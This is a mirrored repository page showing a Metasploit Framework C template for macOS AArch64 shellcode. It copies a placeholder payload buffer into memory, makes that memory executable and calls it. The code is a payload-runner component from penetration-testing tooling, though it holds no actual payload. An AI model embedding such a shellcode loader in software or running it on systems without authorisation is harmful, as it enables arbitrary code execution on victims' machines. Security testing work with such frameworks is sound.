/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
external/source/shellcode/osx/template/template_aarch64_darwin.c
18 строк
448 B
usiegl00
Update OSX AARCH64 Stager
01 авг 2023, 06:30
01 авг 2023, 06:30
c028d33
Код
Авторство
О чём код?
#include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> char payload[8000] = "PAYLOAD:"; int main() { void *ptr = mmap(0, sizeof(payload), PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0); if (ptr == MAP_FAILED) { return 0; } memcpy(ptr, payload, sizeof(payload)); mprotect(ptr, sizeof(payload), PROT_READ | PROT_EXEC); int (*sc)() = ptr; sc(); return 0; }